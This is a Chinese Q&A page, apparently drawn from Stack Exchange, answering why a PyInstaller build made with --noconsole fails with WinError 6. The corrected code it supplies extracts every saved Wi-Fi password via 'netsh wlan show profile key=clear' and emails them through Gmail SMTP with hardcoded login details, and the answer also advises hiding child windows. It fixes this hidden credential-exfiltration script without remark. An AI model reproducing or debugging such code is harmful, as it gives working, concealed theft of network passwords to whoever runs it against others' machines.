You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PyInstaller打包无控制台Python程序触发WinError 6句柄无效求助

问题解决方案

报错根因

你使用--noconsole参数打包后,程序无关联控制台窗口,Python进程的标准输入/输出/错误流无有效系统句柄,subprocess.check_output默认继承父进程流时找不到有效句柄,因此抛出WinError 6错误。

具体修复方案

  • 第一步:修正所有subprocess.check_output调用参数,显式重定向流避免继承无效句柄,同时指定编码适配Windows系统输出,同时修复原代码中smtplib.smtp的拼写错误(SMTP首字母需大写),完整修复后代码如下:
import subprocess
import smtplib
import re

command1 = "netsh wlan show profile"
# 新增参数重定向输入输出流,指定编码和text参数直接返回字符串
networks = subprocess.check_output(
    command1, 
    shell=True, 
    stdin=subprocess.DEVNULL, 
    stderr=subprocess.DEVNULL, 
    text=True, 
    encoding='gbk'
)
network_list = re.findall('(?:Profile\s*:\s)(.*)', networks)

final_output = ""
for network in network_list:
    command2 = f"netsh wlan show profile {network} key=clear"
    # 同样新增参数配置
    one_network_result = subprocess.check_output(
        command2, 
        shell=True, 
        stdin=subprocess.DEVNULL, 
        stderr=subprocess.DEVNULL, 
        text=True, 
        encoding='gbk'
    )
    final_output += one_network_result

# 不需要主动调用私有方法_cleanup,subprocess会自动清理子进程资源

# 修正smtp拼写错误,首字母需要大写
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login("stackoverflowtest@gmail.com", "pleaseplease")
server.sendmail("stackoverflowtest@gmail.com","stackoverflowtest@gmail.com",final_output)
server.quit()
quit()
  • 第二步:打包参数如果需要保留--noconsole,可以额外给subprocess调用增加creationflags=subprocess.CREATE_NO_WINDOW参数,避免子进程弹出临时窗口。
  • 第三步:如果修改后仍有异常,可先去掉--noconsole参数打包测试功能是否正常,确认逻辑无误后再使用无窗口参数打包。

内容的提问来源于stack exchange,提问作者RDMotivation Krunklier

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.27 18:24:04